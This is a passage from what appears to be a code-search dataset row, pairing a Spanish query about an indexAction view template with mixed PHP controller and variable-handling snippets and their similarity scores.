{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$content.= $this->$p . ' ';\n\t\t}\n\t\t$set[] = Zend_Search_Lucene_Field::UnStored('text',trim($content));\n\t\treturn $set;\n\t}", "public function Index(){//vista x defecto\n\t\trequire_once('/Vistas/Index.php');\n\t}", "function admin_index()\n\t{\n\t \n\t}", "function cextras_objets_valides(){\r\n\t$objets = array();\r\n\tforeach (array('article','auteur','breve','groupes_mot','mot','rubrique','site') as $objet) {\r\n\t\t$objets[$objet] = array(\r\n\t\t\t'table' => table_objet_sql($objet), \r\n\t\t\t'nom' => _T('cextras:table_'.$objet),\r\n\t\t);\r\n\t}\r\n\treturn $objets;\r\n}", "protected function variables()\n {\n $this->variables['grid'] = $this;\n\n return $this->variables;\n }", "public function SetCustomVars()\n\t\t{\n\t\t\t$this->_variables['displayname'] = array(\"name\" => GetLang($this->_languagePrefix.'DisplayName'),\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('DisplayNameHelp'),\n\t\t\t \"default\" => $this->GetName(),\n\t\t\t \"required\" => true\n\t\t\t);\n\n\t\t\t$this->_variables['productid'] = array(\"name\" => GetLang($this->_languagePrefix.'ProductId'),\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang($this->_languagePrefix.'ProductIdHelp'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\t\t\t$this->_variables['sharedsecret'] = array(\"name\" => GetLang($this->_languagePrefix.'SharedSecret'),\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang($this->_languagePrefix.'SharedSecretHelp'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t}", "public function edit(){\n $carros = array();\n\n $nomes[] = 'Astra';\n $nomes[] = 'Caravan';\n $nomes[] = 'Ipanema';\n $nomes[] = 'Kadett';\n $nomes[] = 'Monza';\n $nomes[] = 'Opala';\n $nomes[] = 'Veraneio';\n\n $this->set('carros',$nomes);\n }", "public function admin_index() {\r\n \r\n $sucursales = $this->Sucursal->find(\"all\");\r\n $this->set(compact('sucursales'));\r\n \r\n }", "public function __set($index, $value) {\n $this->vars[$index] = $value;\n }", "protected function CustomVariables ()\r\n\t{\r\n\t\t// Overwrite variables if you want them custom\r\n\t\t$this->Set ('autoload', true);\r\n\t\t$this->Set ('enable_query_strings', false);\r\n\t\t\r\n\t\t// Add your own variables\r\n\t\t$this->Set ('database_host', 'localhost');\r\n\t\t$this->Set ('database_user', 'database_username');\r\n\t\t$this->Set ('database_pass', 'database_password');\r\n\t\t$this->Set ('database_name', 'database_name');\r\n\t\t$this->Set ('database_prefix', 'database_prefix');\r\n\t}", "function indexFlex(){\n\t\tforeach($this->cObj->data['pi_flexform']['data'] as $k=>$sheet){\n\t\t\tforeach($sheet['lDEF'] as $field=>$v){\n\t\t\t\t$this->flexIndex[$field]=$k;\n\t\t\t}\n\t\t}\n\t}", "function addVars($node, $vars) {\n\tforeach ($vars as $name=>$val) {\n\t\t$var = $node->data->addChild('var', $val);\n\t\t$var->addAttribute('name', $name);\n\t}\n}", "public static function variables(): array\n {\n return [\n Variable::make('id', __('Article Id')),\n\n Variable::make('name', __('Article Name')),\n\n Variable::make('summary', __('Article Summary')),\n\n Variable::make('url', __('Article URL')),\n\n Variable::make('hits', __('Article Hits')),\n\n Variable::make('creation_date', __('Article Creation Date')),\n\n Variable::make('last_update', __('Article Update Date')),\n\n Variable::make('author', __('Article Author')),\n\n Variable::make('image.templateName', __(\n 'Image with the required template (example: image.common-main)'\n )),\n ];\n }", "public function updateVaribles(){\n foreach( $this->globalVars as $key=>$val ){\n $this->template = str_replace( '%'. $key .'%', $val, $this->template );\n }\n }", "public function index(){\n\t\t\t//$nombre=$this->articuloModelo->obtenerDatos();\n\t\t\t$PersonasRequest=$this->Personas->MostrarPersonas();\n\t\t\t//$PersonasR=$this->Personas->Insertar();\n\t\t\t$datos=[\n\t\t\t'Valores'=> 'Bienvenido',\n\t\t\t'Personas' => $PersonasRequest\n\t\t\t];\n\t\t\t$this->vista(\"PersonasV\",$datos);\n\n\t\t}", "protected function init()\n {\n $arVariablesExtend = Event::fire(self::EVENT_EXTEND_VARIABLES, []);\n\n foreach ($arVariablesExtend as $iIndex => $arExtend)\n {\n foreach ($arExtend as $sKey => $arVariable) {\n if (in_array($sKey, $this->arVariables)) {\n continue;\n }\n\n // Add to variables\n $this->arVariables[$sKey] = $arVariable;\n }\n }\n }", "function setToAllDocumentExtraVars()\n\t{\n\t\tstatic $checked_documents = array();\n\t\t$_document_list = &$GLOBALS['XE_DOCUMENT_LIST'];\n\n\t\t// XE XE_DOCUMENT_LIST all documents that the object referred to the global variable settings\n\t\tif(count($_document_list) <= 0) return;\n\n\t\t// Find all called the document object variable has been set extension\n\t\t$document_srls = array();\n\t\tforeach($_document_list as $key => $val)\n\t\t{\n\t\t\tif(!$val->document_srl || $checked_documents[$val->document_srl]) continue;\n\t\t\t$checked_documents[$val->document_srl] = true;\n\t\t\t$document_srls[] = $val->document_srl;\n\t\t}\n\t\t// If the document number, return detected\n\t\tif(!count($document_srls)) return;\n\t\t// Expand variables mijijeongdoen article about a current visitor to the extension of the language code, the search variable\n\t\t//$obj->document_srl = implode(',',$document_srls);\n\t\t$output = $this->getDocumentExtraVarsFromDB($document_srls);\n\t\tif($output->toBool() && $output->data)\n\t\t{\n\t\t\tforeach($output->data as $key => $val)\n\t\t\t{\n\t\t\t\tif(!isset($val->value)) continue;\n\t\t\t\tif(!$extra_vars[$val->module_srl][$val->document_srl][$val->var_idx][0]) $extra_vars[$val->module_srl][$val->document_srl][$val->var_idx][0] = trim($val->value);\n\t\t\t\t$extra_vars[$val->document_srl][$val->var_idx][$val->lang_code] = trim($val->value);\n\t\t\t}\n\t\t}\n\n\t\t$user_lang_code = Context::getLangType();\n\t\tfor($i=0,$c=count($document_srls);$i<$c;$i++)\n\t\t{\n\t\t\t$document_srl = $document_srls[$i];\n\t\t\tunset($vars);\n\n\t\t\tif(!$_document_list[$document_srl] || !is_object($_document_list[$document_srl]) || !$_document_list[$document_srl]->isExists()) continue;\n\t\t\t$module_srl = $_document_list[$document_srl]->get('module_srl');\n\t\t\t$extra_keys = $this->getExtraKeys($module_srl);\n\t\t\t$vars = $extra_vars[$document_srl];\n\t\t\t$document_lang_code = $_document_list[$document_srl]->get('lang_code');\n\t\t\t// Expand the variable processing\n\t\t\tif(count($extra_keys))\n\t\t\t{\n\t\t\t\tforeach($extra_keys as $idx => $key)\n\t\t\t\t{\n\t\t\t\t\t$extra_keys[$idx] = clone($key);\n\t\t\t\t\t$val = $vars[$idx];\n\t\t\t\t\tif(isset($val[$user_lang_code])) $v = $val[$user_lang_code];\n\t\t\t\t\telse if(isset($val[$document_lang_code])) $v = $val[$document_lang_code];\n\t\t\t\t\telse if(isset($val[0])) $v = $val[0];\n\t\t\t\t\telse $v = null;\n\t\t\t\t\t$extra_keys[$idx]->value = $v;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tunset($evars);\n\t\t\t$evars = new ExtraVar($module_srl);\n\t\t\t$evars->setExtraVarKeys($extra_keys);\n\t\t\t// Title Processing\n\t\t\tif($vars[-1][$user_lang_code]) $_document_list[$document_srl]->add('title',$vars[-1][$user_lang_code]);\n\t\t\t// Information processing\n\t\t\tif($vars[-2][$user_lang_code]) $_document_list[$document_srl]->add('content',$vars[-2][$user_lang_code]);\n\n\t\t\tif($vars[-1][$user_lang_code] || $vars[-2][$user_lang_code])\n\t\t\t{\n\t\t\t\tunset($checked_documents[$document_srl]);\n\t\t\t}\n\n\t\t\t$GLOBALS['XE_EXTRA_VARS'][$document_srl] = $evars->getExtraVars();\n\t\t}\n\t}", "public function index()\n {\n $bon=Bon_de_commande::all();\n\n $info=$bon->toArray();\n\n $montant=array();\n\n for ($i=0; $i <count($info) ; $i++) { \n \n $str=$i.\"\";\n $montant=$montant+array($str=>$info[$i]['MONTANT_TOTAL']);\n }\n return view('pages.Facture.index',[\n \n 'bon'=>$bon,\n 'montant'=>$montant,\n\n\n ]);\n }", "protected function init()\n {\n $this->totais = [\n 'liquidados' => 0,\n 'entradas' => 0,\n 'baixados' => 0,\n 'protestados' => 0,\n 'erros' => 0,\n 'alterados' => 0,\n ];\n }", "public function insertVars($vars) {\n\t\t$this->vars = array_merge($this->vars, $vars);\n\t}", "function getElasticSearchIndexes() {\n\n return 'pdb'.',' . 'geo'.',' . 'dbgap' .','. 'lincs' .','. 'arrayexpress'.','. 'gemma'.',' . 'sra'.','.'bioproject' .','.'clinicaltrials'.',' . 'dryad' .','\n .'cvrg'.','.'dataverse' .','.'neuromorpho'.','.'peptideatlas'.','.'ctn'.','.'cia'.','.'mpd'.','.'niddkcr'.','.'physiobank'.','.'proteomexchange'.','.'openfmri'.','.'nursadatasets'.','\n .'yped'.','.'cil'.','.'icpsr'.','.'gdc'.','.'bmrb'.','.'swissprot'.','.'clinvar'.','.'retina'.','.'emdb'.','.'epigenomics'.','.'nitrcir'.','.'neurovaultatlases'.','.'neurovaultcols'.','\n .'neurovaultnidm'.','.'rgd'.','.'datacitebgi'.','.'datacitemorphobank'.','.'vectorbase'.','.'datacitegnd'.','.'datacitepeerj'.','.'datacitezenodo'.','.'omicsdi'.','.'datacitesbgrid'\n .','.'simtk'.','.'datacitecxidb'.','.'datacitebils'.','.'dataciteada'.','.'dataciteukda'.','.'dataciteadaptive'.','.'datacitemit'.','.'datacitectsi'.','.'datacitefdz'\n .','.'datacitembf'.','.'datacitenimh'.','.'datacitejhu'.','.'datacitecandi'.','.'datacitelshtm'.','.'datacitedatabrary'.','.'immport'.','.'datacitesdscsg'.','.'datacitecrcns'\n .','.'nsrr'.','.'lsdb'.','.'naturedata'.','.'genenetwork'.','.'ndarpapers'.','.'datacitethieme'.','.'datacitefigshare'.','.'dataciteccdc'.','.'wormbase'.','.'gtexldacc'.','.'metabolomics';\n\n}", "protected function get_variables_for_view()\n\t{\n\t\t$ary = array();\n\t\tforeach (get_object_vars ($this->set) as $k => $v)\n\t\t\t$ary[$k] = $v;\n\t\treturn $ary;\n\t}", "public function __construct(){\n $this->variables = new \\Doctrine\\Common\\Collections\\ArrayCollection();\n }", "public function getIndex() {}", "public function getIndex() {}", "public function getIndex() {}", "function LoadBasicSearchValues() {\n\t\tglobal $t_tinbai_mainsite;\n\t\t$t_tinbai_mainsite->BasicSearchKeyword = @$_GET[EW_TABLE_BASIC_SEARCH];\n\t\t$t_tinbai_mainsite->BasicSearchType = @$_GET[EW_TABLE_BASIC_SEARCH_TYPE];\n\t}", "public function getIndex() {}", "public function getIndex() {}", "public function getIndex() {}" ]
[ "0.6031335", "0.58948404", "0.58892107", "0.57969975", "0.57969975", "0.56837666", "0.554986", "0.5539038", "0.55339056", "0.5531012", "0.5525631", "0.55178267", "0.54797316", "0.5475859", "0.5465732", "0.54433686", "0.5435748", "0.542026", "0.5420122", "0.5420122", "0.5415012", "0.5398346", "0.5395053", "0.5358024", "0.53532666", "0.5350117", "0.53164923", "0.5297653", "0.52899677", "0.52813876", "0.5270484", "0.52651215", "0.5263829", "0.5252358", "0.5249745", "0.5239468", "0.5236253", "0.52254814", "0.5202738", "0.5202738", "0.5201217", "0.51781493", "0.5171824", "0.51715463", "0.5169804", "0.5169359", "0.51499665", "0.5143596", "0.5134343", "0.51096886", "0.51014525", "0.50994086", "0.50680107", "0.5061235", "0.5049967", "0.5044903", "0.50427705", "0.5040563", "0.50256026", "0.50228477", "0.50221115", "0.5015868", "0.5015006", "0.50140214", "0.5011347", "0.50110865", "0.50049806", "0.5004897", "0.50038", "0.49988994", "0.4994493", "0.49900684", "0.49795866", "0.49789467", "0.49782214", "0.49765503", "0.49751672", "0.49714312", "0.496996", "0.49691364", "0.4963508", "0.49502397", "0.49481428", "0.49457213", "0.49394637", "0.49342462", "0.49313366", "0.49293542", "0.49197426", "0.49126855", "0.491184", "0.4911731", "0.490079", "0.48999473", "0.48996836", "0.48996836", "0.48996836", "0.48992774", "0.48987877", "0.48987877", "0.48987877" ]
0.0
-1
/ Setea la vista que se muestra en el indexAction, por defecto index
public function indexActionViewTemplate() { return ''; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function voltarIndexAction () {\n // Grava em sessão as preferências do usuário para essa grid\n $sessao = new Orcamento_Business_Sessao ();\n $url = $sessao->retornaOrdemFiltro($this->_controle);\n\n if ($url) {\n // Redireciona para a url salva em sessão\n $this->_redirect($url);\n } else {\n // Redireciona para a url combinada entre modulo/controle/index\n $this->_redirect($this->_modulo . '/' . $this->_controle);\n }\n }", "protected function voltarIndexAction ()\n {\n try {\n // Grava em sessão as preferências do usuário para essa grid\n $sessao = new Orcamento_Business_Sessao ();\n $url = $sessao->retornaOrdemFiltro ( $this->_controle );\n \n if ( $url ) {\n // Redireciona para a url salva em sessão\n $this->_redirect ( $url );\n } else {\n // Redireciona para a url combinada entre modulo/controle/index\n $this->_redirect ( $this->_modulo . '/' . $this->_controle );\n }\n } catch ( Exception $e ) {\n // Gera o erro\n throw new Zend_Exception ( $e->getMessage () );\n }\n }", "public function index()\n {\n $this->vista->index();\n }", "abstract public function actionIndex();", "public function indexAction(){\t\t\n\t}", "public function actionIndex() {}", "public function actionIndex() {}", "public function indexAction(){}", "public function indexAction(){\r\n\t\t\t\r\n\t\t}", "public function indexAction() {\n \n }", "public function admin_index() {\r\n \r\n $sucursales = $this->Sucursal->find(\"all\");\r\n $this->set(compact('sucursales'));\r\n \r\n }", "abstract function indexAction();", "public function actionIndex() {\n $this->actionTrenutniSpored();\n }", "protected function indexAction()\r\n {\r\n //$all_editos = $ed->getAllEdito();\r\n //$data = ['all_editos' => $all_editos];\r\n $this->render('seo_local/mySeoLocal.php');\r\n\r\n }", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function index(){\n return Vista::crear(\"index\");\n }", "public function indexAction() \n {\n \t\n }", "public function getIndex()\n {\n // add stuff here\n }", "public function actionIndex()\n {}", "function indexAction(){\n \t}", "public function indexAction() {\n\t\t// TODO Auto-generated AdminController::indexAction() default action\n\t}", "public function action_index()\n {\n }", "public function indexAction() {\r\n \r\n }", "public function indexAction() {\n\n\t}", "protected function indexAction() {}", "public function indexAction() {\n\t}", "public function indexAction() {\n\t}", "public function singleIndexAction() {}", "public function indexAction() {\r\n }", "public function indexAction()\n {\n \n }", "public function indexAction()\n {\n \n }", "public function index()\n\t{\n\t\t$data['result']=NULL;\n\t\t$data['show']=NULL;\n\t\t$this->setIndex($data);\n\t}", "public function indexAction()\n {\n// $this->view = 'index';\n }", "public function indexAction()\n {\n\n return parent::indexAction();\n\n\n }", "public function action_index()\n\t{\n\t}", "public function actionIndex()\n {\n\n }", "function indexAction(){\r\n }", "public function fullIndexAction() {}", "public function indexAction ()\r\n {\r\n\r\n }", "public function indexAction()\n {\n $this->addAction();\n }", "public function indexAction() {\n }", "public function indexAction() {\n }", "public function indexAction ()\r\n {\r\n // TODO Auto-generated SearchController::indexAction() default action\r\n }", "public function indexAction()\n {}", "protected function indexAction()\n {\n }", "public function index()\n {\n //Não vai existir\n }", "function index() {\n \n //llamamos al metodo renderizar para que muestre la vista enviada\n //por parametro\n if(session::get('autenticado')){\n $this->_vista->titulo = 'Multiservicios Frank';\n $this->_vista->renderizar('index'); \n }\n else{\n header('location:' . BASE_URL );\n exit;\n }\n }", "public function executeIndex()\n {\n sfConfig::set('config_menu','active');\n if (!$this->getUser()->hasAttribute('page', 'tv_admin/role'))\n $this->getUser()->setAttribute('page', 1, 'tv_admin/role');\n }", "function indexAction()\n {\n parent::indexAction();\n $this->view->title = \"Data Importer\";\n }", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function indexAction() {\n\n }", "public function indexAction() {\n\n }", "public function indexPerLevelAction() {\n\n }", "public function indexAction()\n\t{\n\n\t}", "public function indexAction() {\n ;\n }", "function putIndex(){\n\n }", "function putIndex(){\n\n }", "public function indexAction()\n {\n\n }", "public function actionIndex()\n {\n\t\techo \"=== Action index ===\";\n \n }", "public function indexAction () {\n // Título da tela (action)\n $this->view->telaTitle = 'Pesquisar Exercício Orçamentário';\n\n // Dados do grid\n $negocio = new $this->_classeNegocio ();\n\n $dados = $negocio->retornaListagemSimplificada();\n\n if (!$dados) {\n $this->_redirect($this->_modulo . '/' . $this->_controle . '/incluir');\n }\n\n\n\n $chavePrimaria = $negocio->chavePrimaria();\n\n // Geração do grid\n $acoes = array('incluir', 'detalhe', 'editar', 'excluir');\n\n $camposDetalhes = array(\n 'ANOE_AA_ANO' => array('title' => 'Ano Exercício', 'abbr' => ''),\n 'ANOE_DS_OBSERVACAO' => array('title' => 'Descrição', 'abbr' => ''),\n 'FASE_NM_FASE_EXERCICIO' => array('title' => 'Status', 'abbr' => '')\n );\n\n $classeGrid = new Trf1_Orcamento_Grid ();\n $grid = $classeGrid->criaGrid($this->_controle, $dados, $chavePrimaria, $this->view->telaTitle, $acoes);\n\n // Personalização do grid\n foreach ($camposDetalhes as $campo => $opcoes) {\n $grid->updateColumn($campo, $opcoes);\n }\n\n // Oculta campos do grid\n // $grid->setColumnsHidden($camposOcultos);\n // Exibição do grid\n $this->view->grid = $grid->deploy();\n\n // Grava em sessão as preferências do usuário para essa grid\n $requisicao = $this->getRequest();\n $sessao = new Orcamento_Business_Sessao ();\n $sessao->defineOrdemFiltro($requisicao);\n }", "public function indexAction()\n {\n $this->autofilterParameters = $this->autofilterParameters + $this->_autofilterExtraParameters;\n if (! isset($this->indexParameters['contentTitle'])) {\n $this->indexParameters['contentTitle'] = $this->getIndexTitle();\n }\n\n return parent::indexAction();\n }", "function indexAction(){\n \n $this->_templateObj->loadTemplate();\n $this->_viewObj->title = \"<title>Tadmin - index/index </title>\";\n $this->_viewObj->render('index/index', true);\n\n }", "public function indexAction()\n {\n\n }", "public function indexAction()\n {\n\n }", "public function indexAction()\n {\n\n }", "public function indexAction()\n {\n\n }", "public function indexAction()\n {\n\n }", "public function indexAction()\n {\n\n }", "public function makeIndex()\n {\n //Admin panel\n if (!TTO_IS_ADMIN) {\n return;\n }\n\n //Index contents\n $count = $this->search->getEngine()->indexContents();\n\n //Update counter\n $index = Search::getIndex();\n TeaThemeOptions::setConfigs($index.'-count', $count);\n }", "public function indexAction()\r\n\t{\r\n\t\t$this->view->contratoCombo = $this->objContrato->getContrato(true, true);\t\t\r\n\t}", "public function action_index(){\n $this->title .= 'Portfolio/catalog';\n\n $goods = SQL::Instance()->SelectWithKey(\"goods\");\n $this->content = $this->Template('views/index.php', [\"goods\"=>$goods, ]);//'test'=>$test\n }", "public function indexAction() {\n\n\n\n\n }", "public function indexAction() \n\t\t{\n\t\t\t$this->requireUserType(array(CT_User::Directie));\n\t\t\t$this->lijstAction();\n\t\t}", "public function indexAction() {\n $this->formAction();\n }", "public function indexAction() {\n $this->formAction();\n }", "public function indexAction()\n {\n //for real application\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function indexAction() {\r\n\t\t// TODO Auto-generated FinanceController::indexAction() default action\r\n\t}", "function admin_index(){\n $this->layout = 'admin_new';\n $this->set('habitaciones', $this->Habitacion->find('all'));\n }", "public function listagemAction()\n\t{\n\t\n\t}", "public function indexAction()\n {\n // action body\n }", "public function actionIndex() {\n $ventas = new Ventas();\n\n $ventasTotales = new CArrayDataProvider($ventas->Ingresadas(), array(\n 'id' => 'PLAZA',\n 'sort' => array(\n 'attributes' => array(\n 'PLAZA', 'INGRESADAS', 'INSTALADAS'\n ),\n ),\n 'pagination' => array(\n 'pageSize' => 100,\n ),\n ));\n \n $ventas = new Ventas();\n $ventasIngresadas = $ventas->get_Ingresadas(1);\n $ventasInstaladas = $ventas->get_Instaladas(1);\n\n $this->render('indexs', array('ventas' => $ventasTotales,'ventasIngresadas'=>$ventasIngresadas,'ventasInstaladas'=>$ventasInstaladas));\n }", "public function admin_index() \n\t{\n\t\t$results = $this->paginate();\n\n\t\t// Set\n\t\t$this->set(\n\t\t\tarray(\n\t\t\t\t'title_for_layout' \t=> 'Notícias',\n\t\t\t\t'action'\t\t\t=> 'add',\n\t\t\t\t'button'\t\t\t=> 'Adicionar Notícia',\n\t\t\t\t'class'\t\t\t\t=> 'success',\n\t\t\t\t'is_save'\t\t\t=> false,\n\t\t\t\t'results'\t\t\t=> $results\n\t\t\t)\n\t\t);\n\t}", "public function indexAction()\n {\n $ctrl = $this->dbController->find($this->checkControllerIdParam());\n $vCtrl = FALSE;\n $vAction = array();\n\n IF($ctrl->count() === 1) {\n $ctrlRow = new Admin_Model_DbRow_Controller($ctrl->current());\n\n FOREACH($this->dbAction->findActionByControllerId($ctrlRow->get('id')) AS $row) {\n $vAction[] = new Admin_Model_DbRow_Action($row);\n }\n\n $vCtrl = $ctrlRow;\n }\n \n $this->view->controller = $vCtrl;\n $this->view->actions = $vAction;\n }", "public function action_index() {\r\n $count = ORM::factory('documentos')->where('original', '=', 1)->and_where('id_user', '=', $this->user->id)->count_all();\r\n $pagination = Pagination::factory(array(\r\n 'total_items' => $count,\r\n 'current_page' => array('source' => 'query_string', 'key' => 'page'),\r\n 'items_per_page' => 50,\r\n 'view' => 'pagination/floating',\r\n ));\r\n $oNur = New Model_Hojasruta();\r\n $result = $oNur->hojasruta($this->user->id, $pagination->offset, $pagination->items_per_page);\r\n $page_links = $pagination->render();\r\n $oDoc = New Model_Tipos();\r\n $documentos = $oDoc->misTipos($this->user->id);\r\n $options = array();\r\n foreach ($documentos as $d) {\r\n $options[$d->id] = $d->tipo;\r\n }\r\n $this->template->title .= ' | Lista de HR creadas';\r\n $this->template->styles = array('media/css/tablas.css' => 'all', 'media/css/modal.css' => 'screen');\r\n $this->template->scripts = array('media/js/jquery.tablesorter.min.js');\r\n $this->template->content = View::factory('hojaruta/index')\r\n ->bind('result', $result)\r\n ->bind('page_links', $page_links)\r\n ->bind('count', $count)\r\n ->bind('options', $options);\r\n }", "public function actionIndex(){\n \n $modPendaftaran = new RKPendaftaranT;\n $modPasien = new RKPasienM;\n $this->render($this->path_view.'index',array(\n 'modPendaftaran'=>$modPendaftaran,\n 'modPasien'=>$modPasien,\n ));\n \t\n\t}" ]
[ "0.7542891", "0.7302228", "0.7281002", "0.7157729", "0.7147663", "0.71269846", "0.71269846", "0.7120242", "0.71187234", "0.71019155", "0.7101208", "0.70888305", "0.70694643", "0.70527893", "0.70509475", "0.70509475", "0.70508236", "0.70508236", "0.70508236", "0.70508236", "0.70508236", "0.70508236", "0.70508236", "0.70508236", "0.70508236", "0.7035289", "0.7028377", "0.7006482", "0.70034087", "0.70019674", "0.6998513", "0.69959044", "0.6985341", "0.6983261", "0.69620895", "0.69512594", "0.69512594", "0.6941035", "0.6937889", "0.69308996", "0.69308996", "0.69301724", "0.6927829", "0.6925364", "0.6917046", "0.68975496", "0.6888263", "0.68753123", "0.68546546", "0.6847532", "0.68411833", "0.68411833", "0.68248385", "0.6818975", "0.6818884", "0.6798493", "0.6731704", "0.67234343", "0.6722358", "0.6700269", "0.6700269", "0.6700269", "0.6700269", "0.6700269", "0.6700269", "0.66974175", "0.66974175", "0.66951066", "0.6686962", "0.6684997", "0.66738826", "0.66738826", "0.6670791", "0.66540277", "0.6653577", "0.6638895", "0.6603353", "0.6594932", "0.6594932", "0.6594932", "0.6594932", "0.6594932", "0.6594932", "0.65663266", "0.65534174", "0.653065", "0.652489", "0.6514263", "0.6502933", "0.6502933", "0.6500462", "0.6495224", "0.64829147", "0.64756507", "0.64684737", "0.6456405", "0.6456263", "0.64496267", "0.6444705", "0.6442859", "0.6440233" ]
0.0
-1
Display a listing of the resource.
public function index() { $images = $this->getTagNames(Image::with('tags')->get()); return view('welcome', compact('images')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = 